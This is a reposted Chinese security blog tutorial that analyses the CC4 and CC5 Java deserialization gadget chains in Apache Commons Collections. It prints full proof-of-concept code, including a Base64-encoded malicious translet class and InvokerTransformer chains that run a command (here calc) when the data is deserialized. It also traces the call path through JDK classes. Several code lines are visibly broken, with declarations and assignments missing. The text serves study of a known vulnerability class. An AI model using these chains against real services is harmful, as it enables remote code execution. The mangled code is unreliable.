|
java安全 cc4与cc5原创 Met32 moonsec
2022-04-09 10:00
转载自https://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653578535&idx=1&sn=4a3d2f05fe0ad2a19a65b6a42f4d46dd&chksm=811b7365b66cfa7318e50d8148ca9321a9583205822cb4ea9d60c8ec725133770cfbf9ab81ac&mpshare=1&scene=23&srcid=0409eZ9EL1Ws62uwXWpFzAYC&sharer_sharetime=1649470650475&sharer_shareid=ee83a55e0b955b99e8343acbb61916b7#rd
java安全 cc4与cc5
本文笔者带大家分析CC4与CC5,有了前几篇文章的基础,所以运用前面的知识,就可以很轻松的举一 反三
CC4与前面讲的CC2链基本差不多
pom依赖
- <dependency>
- <groupId>org.apache.commons</groupId>
- <artifactId>commons-collections4</artifactId>
- <version>4.0</version>
- </dependency>
复制代码
CC4可以说是CC2与CC3的结合版本,老样子,贴出全部代码在分段分析。
- public class CC4 {
- public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, IOException, ClassNotFoundException {
- byte[] bytes =
- Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9y bQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2Fw YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5l TnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv eHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNv bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEA Bjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMM AB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUv QWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xl dEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUB ABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1By b2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEA DAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgAC
- AAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg== ");
- TemplatesImpl templates
- setField(templates,"_bytecodes",new byte[][]{bytes});
- setField(templates,"_name","test");
- setField(templates,"_tfactory",new TransformerFactoryImpl());
- templates.newTransformer();
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(TrAXFilter.class),
- new InstantiateTransformer(new Class[]{Templates.class},new Object[]
- {templates})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]
- {});
- TransformingComparator transformingComparator = new
- TransformingComparator(chainedTransformer);
- new PriorityQueue(1);
- queue.add(1);
- queue.add(2);
- ChainedTransformer.class.getDeclaredField("iTransformers");
- field.setAccessible(true);
- field.set(chainedTransformer,transformers);
- //序列化
- ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
- objectOutputStream.writeObject(queue);
- objectOutputStream.close();
- //反序列化
- ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.bin"));
- objectInputStream.readObject();
- objectInputStream.close();
- }
- public static void setField(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
- obj.getClass().getDeclaredField(name);
- field.setAccessible(true);
- field.set(obj,value);
- }
复制代码
首先来复习一下TemplatesImpl类做了什么?
跟进TemplatesImpl#newTransformer(),发现其调用了getTransletInstance()。
跟进getTransletInstance(),发现了对_null进行判断是否为空
所以才会有了前面通过反射修改name的值,才能绕过该if
- setField(templates,"_name","123");
复制代码
之后跟进defineTransletClasses()
defineTransletClasses()方法如下(注意这里最开始有一个if(_bytecodes==0) 所以需要绕过),成功会调用到TransletClassLoader#defineClass()方法
而TransletClassLoader#defineClass()在传入字节码之后,会返回class对象为_class
之后在下方判断,读取的字节码是否继承了AbstractTranslet(父类),如果继承了,并最终会给_transletIndex赋为0
最终通过_class[0].newInstance()调用
接下来简单分析下方这些代码。
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(TrAXFilter.class),
- new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
- TransformingComparator transformingComparator = new
- TransformingComparator(chainedTransformer);
- new PriorityQueue(1,transformingComparator);
- queue.add(1);
- queue.add(2);
复制代码
在TrAXFilter的有参构造,就会调用到Templates中并执行命令
PriorityQueue的话其实还是CC2中的逻辑。学过的小伙伴就当是复习了,没有学过的要认真听讲~ 在PriorityQueue初始化过程中,可以看到会将transformingComparator进行传入到comparator中
在readObject的时候,可以看到将反序列化的数据给了queue,之后调用了heapify()方法
在heapify中有一个循环,size移位之后-1如果为0的话,则会进入siftDown方法
而如何控制size呢?其实这就是该类在执行add方法的时候,就会使得size++,看到这里相信大家就清楚了为什么我 要执行两次add。
siftDown方法如下,x就是传入的反序列化数据。而进入之后有一层判断,comparator其实就是初始 化时传入的transformingComparator。所以会进入到siftDownUsingComparator这个方法
再次跟进该方法,在if处调用了transformingComparator.compare方法
而执行到transformingComparator.compare的时候,可以发现会执行transform方法。而该transformer成员就 是在初始化传入的
- TransformingComparator transformingComparator = new
- TransformingComparator(chainedTransformer);
复制代码
其实与CC2非常的相似了,只是在Transformer初始化的时候,改成了TrAXFilter来执行命令,至此CC4轻松拿捏!
-----------分割线-----------
现在与刚开始学CC链不同了,是不是觉得现在非常的简单,要趁热打铁,来顺带把CC5学了
CC5 pom文件依赖
- <dependency>
- <groupId>commons-collections</groupId>
- <artifactId>commons-collections</artifactId>
- <version>3.1</version>
- </dependency>
复制代码
代码如下,用到了一个新的类 就是BadAttributeValueExpException
- Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
- new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
- new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
- };
- new ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- LazyMap.decorate(innerMap, transformerChain);
- new TiedMapEntry(outerMap,"keykey");
-
- new BadAttributeValueExpException(1);
- BadAttributeValueExpException.class.getDeclaredField("val");
- field.setAccessible(true);
- field.set(POC,tiedmap);
- ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
- objectOutputStream.writeObject(POC);
- objectOutputStream.close();
- ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc5.bin"));
- objectInputStream.readObject();
- objectInputStream.close();
复制代码
利用链贴一下:
- ObjectInputStream.readObject()
- BadAttributeValueExpException .readObject()
- TiedMapEntry.toString()
- LazyMap.get()
- ChainedTransformer .transform()
- ConstantTransformer .transform()
- InvokerTransformer .transform()
- Method .invoke()
- Class .getMethod()
- InvokerTransformer .transform()
- Method .invoke()
- Runtime .getRuntime()
- InvokerTransformer .transform()
- Method .invoke()
- Runtime .exec()
复制代码
从LazyMap中分析吧,在将transformerChain传入之后,将其存到了factory中
- Transformer transformerChain new ChainedTransformer(transformers);
- Map innerMap =new HashMap();
- Map outerMap = LazyMap.decorate(innerMap, transformerChain);
复制代码
而稍后就会执行到factory.transform方法中,从而执行命令
又是一个经典问题出现,谁会调用到LazyMap.get呢?
在TiedMapEntry初始化会将LazyMap作为第一个参数传入
- TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"keykey");
复制代码
而利用链中写到了,TiedMapEntry.toString(),其实toString调用了getValue(),从而调用到LazyMap.get方法
TiedMapEntry.toString方法如下
- public String toString() {
- return this.getKey()+"="+this.getValue();
复制代码
现在又一个问题,谁会调用TiedMapEntry.toString()?
这里也不卖关子了,根据上面的调用链,直接放出BadAttributeValueExpException.readObject方法 在第三行,获取val之后,存到了valObj临时变量中,并最终在17行valObj.toString()了。
- private void readObject(ObjectInputStream ois) throws IOException,
- ClassNotFoundException {
- ObjectInputStream.GetField gf
- gf.get("val", null);
- if (valObj == null) {
- null;
- } else if (valObj instanceof String) {
- val= valObj;
- } else if (System.getSecurityManager() == null
- || valObj instanceof Long
- || valObj instanceof Integer
- || valObj instanceof Float
- || valObj instanceof Double
- || valObj instanceof Byte
- || valObj instanceof Short
- || valObj instanceof Boolean) {
- valObj.toString();
- } else { // the serialized object is from a version without JDK-8019292 fix
- System.identityHashCode(valObj)
- }
复制代码
现在问题出来了,val是个啥东西呢?其实就是该类的一个私有属性。
所以通过反射修改为TiedMapEntry即可,这样在readObject就会执行到TiedMapEntry.toString方法
- BadAttributeValueExpException.class.getDeclaredField("val");
- field.setAccessible(true);
- field.set(POC,tiedmap);
复制代码
但是这里有一个IDEA的小BUG,每次到LazyMap.get方法的时候,此if会跳到else中,如果将前面的断点全部取消, 并在if里面下断,即可成功到达。(也是跟一位师傅学的)
并最终执行
|
|